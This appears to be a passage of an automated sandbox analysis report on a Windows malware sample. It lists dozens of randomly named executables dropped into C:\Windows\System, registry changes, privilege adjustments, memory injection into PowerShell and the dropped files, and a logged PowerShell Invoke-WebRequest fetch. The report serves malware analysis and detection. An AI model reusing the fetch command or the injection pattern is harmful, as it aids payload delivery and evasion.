File created	C:\Windows\System\QvMhpTw.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AGtwifl.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\cdWGLZN.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\bLvYEab.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\DtkgiyH.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\QYaoekz.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\VovAzfB.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\tSFRhuy.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\bDOzsRf.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\YbSvFue.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\BlitoUL.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\mztWnFT.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\juYxnnT.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\gBIveNe.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ExqIidW.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ckxIGNA.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\NXyXIfk.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\HyBhreu.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\SbYiWjP.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\idOalsV.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\qgHdfCX.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\UmwLDce.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\RGHkXMu.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\NOqGpso.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\rXNfdfg.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\GfQmqlI.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\RQrkHFK.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\WDgCTaO.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\NuaXmkH.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\RUdbpGD.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\eHtmgoS.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\iGZjLAH.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\xjOtozN.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\QrZidQr.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\qKYdJfk.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\REwNGsj.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\FaGpTIj.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\RalFYLp.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\SPeXDnd.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\vAnlaOK.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\SwSFaSr.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\auZgljJ.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\hhyMAED.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ZpKtRdJ.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\xgaYbEk.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\YgVUofs.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\TatAfxW.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A

Modifies data under HKEY_USERS

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	C:\Windows\system32\dwm.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	C:\Windows\system32\dwm.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeLockMemoryPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
Token: SeLockMemoryPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeCreateGlobalPrivilege	N/A	C:\Windows\system32\dwm.exe	N/A
Token: SeChangeNotifyPrivilege	N/A	C:\Windows\system32\dwm.exe	N/A
Token: 33	N/A	C:\Windows\system32\dwm.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\system32\dwm.exe	N/A
Token: SeCreateGlobalPrivilege	N/A	C:\Windows\system32\dwm.exe	N/A
Token: SeChangeNotifyPrivilege	N/A	C:\Windows\system32\dwm.exe	N/A
Token: 33	N/A	C:\Windows\system32\dwm.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\system32\dwm.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 3404 wrote to memory of 3776	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3404 wrote to memory of 3776	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3404 wrote to memory of 3660	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\zXcYdgh.exe
PID 3404 wrote to memory of 3660	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\zXcYdgh.exe
PID 3404 wrote to memory of 5100	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\LMqBFmg.exe
PID 3404 wrote to memory of 5100	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\LMqBFmg.exe
PID 3404 wrote to memory of 3980	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\pTgeEtv.exe
PID 3404 wrote to memory of 3980	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\pTgeEtv.exe
PID 3404 wrote to memory of 664	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\JrKqcfm.exe
PID 3404 wrote to memory of 664	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\JrKqcfm.exe
PID 3404 wrote to memory of 4980	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HRwLZip.exe
PID 3404 wrote to memory of 4980	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HRwLZip.exe
PID 3404 wrote to memory of 3316	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\dBsTWDJ.exe
PID 3404 wrote to memory of 3316	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\dBsTWDJ.exe
PID 3404 wrote to memory of 1076	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\eHEPnMM.exe
PID 3404 wrote to memory of 1076	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\eHEPnMM.exe
PID 3404 wrote to memory of 3024	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\NPUkHXT.exe
PID 3404 wrote to memory of 3024	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\NPUkHXT.exe
PID 3404 wrote to memory of 1452	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\XdRFVVQ.exe
PID 3404 wrote to memory of 1452	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\XdRFVVQ.exe
PID 3404 wrote to memory of 2764	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\YLoNWgP.exe
PID 3404 wrote to memory of 2764	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\YLoNWgP.exe
PID 3404 wrote to memory of 412	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HELQfdc.exe
PID 3404 wrote to memory of 412	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HELQfdc.exe
PID 3404 wrote to memory of 4496	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\zsczpij.exe
PID 3404 wrote to memory of 4496	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\zsczpij.exe
PID 3404 wrote to memory of 3536	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\RHtrhMp.exe
PID 3404 wrote to memory of 3536	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\RHtrhMp.exe
PID 3404 wrote to memory of 1968	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\efwMhIK.exe
PID 3404 wrote to memory of 1968	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\efwMhIK.exe
PID 3404 wrote to memory of 812	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\vPWfdTQ.exe
PID 3404 wrote to memory of 812	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\vPWfdTQ.exe
PID 3404 wrote to memory of 3120	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\POPcSxM.exe
PID 3404 wrote to memory of 3120	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\POPcSxM.exe
PID 3404 wrote to memory of 2096	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\Bmxbpcf.exe
PID 3404 wrote to memory of 2096	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\Bmxbpcf.exe
PID 3404 wrote to memory of 4312	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\LzQAjRN.exe
PID 3404 wrote to memory of 4312	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\LzQAjRN.exe
PID 3404 wrote to memory of 4848	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\kzhZhTp.exe
PID 3404 wrote to memory of 4848	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\kzhZhTp.exe
PID 3404 wrote to memory of 4272	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\VOXnviM.exe
PID 3404 wrote to memory of 4272	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\VOXnviM.exe
PID 3404 wrote to memory of 1596	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\NXYfTGM.exe
PID 3404 wrote to memory of 1596	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\NXYfTGM.exe
PID 3404 wrote to memory of 776	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ZzXuRfB.exe
PID 3404 wrote to memory of 776	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ZzXuRfB.exe
PID 3404 wrote to memory of 5112	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\uEtRDDR.exe
PID 3404 wrote to memory of 5112	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\uEtRDDR.exe
PID 3404 wrote to memory of 4192	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\eCJGUJp.exe
PID 3404 wrote to memory of 4192	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\eCJGUJp.exe
PID 3404 wrote to memory of 5012	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\EjStnbC.exe
PID 3404 wrote to memory of 5012	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\EjStnbC.exe
PID 3404 wrote to memory of 4536	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\CTyIrrq.exe
PID 3404 wrote to memory of 4536	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\CTyIrrq.exe
PID 3404 wrote to memory of 3532	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\BhRZlgx.exe
PID 3404 wrote to memory of 3532	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\BhRZlgx.exe
PID 3404 wrote to memory of 1884	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\EtLwjmV.exe
PID 3404 wrote to memory of 1884	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\EtLwjmV.exe
PID 3404 wrote to memory of 4796	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\sTkhmyn.exe
PID 3404 wrote to memory of 4796	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\sTkhmyn.exe
PID 3404 wrote to memory of 4492	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ehUEjow.exe
PID 3404 wrote to memory of 4492	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ehUEjow.exe
PID 3404 wrote to memory of 2196	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\jqniNCU.exe
PID 3404 wrote to memory of 2196	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\jqniNCU.exe

Processes

C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\zXcYdgh.exe

C:\Windows\System\zXcYdgh.exe

C:\Windows\System\LMqBFmg.exe

C:\Windows\System\LMqBFmg.exe

C:\Windows\System\pTgeEtv.exe

C:\Windows\System\pTgeEtv.exe

C:\Windows\System\JrKqcfm.exe

C:\Windows\System\JrKqcfm.exe

C:\Windows\System\HRwLZip.exe

C:\Windows\System\HRwLZip.exe

C:\Windows\System\dBsTWDJ.exe

C:\Windows\System\dBsTWDJ.exe

C:\Windows\System\eHEPnMM.exe

C:\Windows\System\eHEPnMM.exe

C:\Windows\System\NPUkHXT.exe

C:\Windows\System\NPUkHXT.exe

C:\Windows\System\XdRFVVQ.exe

C:\Windows\System\XdRFVVQ.exe

C:\Windows\System\YLoNWgP.exe

C:\Windows\System\YLoNWgP.exe

C:\Windows\System\HELQfdc.exe

C:\Windows\System\HELQfdc.exe

C:\Windows\System\zsczpij.exe

C:\Windows\System\zsczpij.exe

C:\Windows\System\RHtrhMp.exe

C:\Windows\System\RHtrhMp.exe

C:\Windows\System\efwMhIK.exe

C:\Windows\System\efwMhIK.exe

C:\Windows\System\vPWfdTQ.exe

C:\Windows\System\vPWfdTQ.exe

C:\Windows\System\POPcSxM.exe

C:\Windows\System\POPcSxM.exe

C:\Windows\System\Bmxbpcf.exe

C:\Windows\System\Bmxbpcf.exe

C:\Windows\System\LzQAjRN.exe

C:\Windows\System\LzQAjRN.exe

C:\Windows\System\kzhZhTp.exe

C:\Windows\System\kzhZhTp.exe

C:\Windows\System\VOXnviM.exe

C:\Windows\System\VOXnviM.exe

C:\Windows\System\NXYfTGM.exe

C:\Windows\System\NXYfTGM.exe

C:\Windows\System\ZzXuRfB.exe

C:\Windows\System\ZzXuRfB.exe

C:\Windows\System\uEtRDDR.exe

C:\Windows\System\uEtRDDR.exe

C:\Windows\System\eCJGUJp.exe

C:\Windows\System\eCJGUJp.exe

C:\Windows\System\EjStnbC.exe

C:\Windows\System\EjStnbC.exe

C:\Windows\System\CTyIrrq.exe

C:\Windows\System\CTyIrrq.exe

C:\Windows\System\BhRZlgx.exe

C:\Windows\System\BhRZlgx.exe

C:\Windows\System\EtLwjmV.exe

C:\Windows\System\EtLwjmV.exe

C:\Windows\System\sTkhmyn.exe

C:\Windows\System\sTkhmyn.exe

C:\Windows\System\ehUEjow.exe

C:\Windows\System\ehUEjow.exe

C:\Windows\System\jqniNCU.exe

C:\Windows\System\jqniNCU.exe

C:\Windows\System\SiMPbFm.exe

C:\Windows\System\SiMPbFm.exe

C:\Windows\System\TVBJKVS.exe

C:\Windows\System\TVBJKVS.exe

C:\Windows\System\HnIPwMd.exe

C:\Windows\System\HnIPwMd.exe

C:\Windows\System\knGHFjT.exe

C:\Windows\System\knGHFjT.exe

C:\Windows\System\sxJRbJG.exe

C:\Windows\System\sxJRbJG.exe

C:\Windows\System\dZptOxx.exe

C:\Windows\System\dZptOxx.exe

C:\Windows\System\BEgaZGd.exe

C:\Windows\System\BEgaZGd.exe

C:\Windows\System\PvYJQQp.exe

C:\Windows\System\PvYJQQp.exe

C:\Windows\System\DsCmUkY.exe

C:\Windows\System\DsCmUkY.exe

C:\Windows\System\HYuzsqh.exe

C:\Windows\System\HYuzsqh.exe

C:\Windows\System\LKWKtPq.exe

C:\Windows\System\LKWKtPq.exe

C:\Windows\System\ODmrizR.exe

C:\Windows\System\ODmrizR.exe

C:\Windows\System\vOqUYmi.exe

C:\Windows\System\vOqUYmi.exe

C:\Windows\System\UoZkEdA.exe

C:\Windows\System\UoZkEdA.exe

C:\Windows\System\TvNCMas.exe

C:\Windows\System\TvNCMas.exe

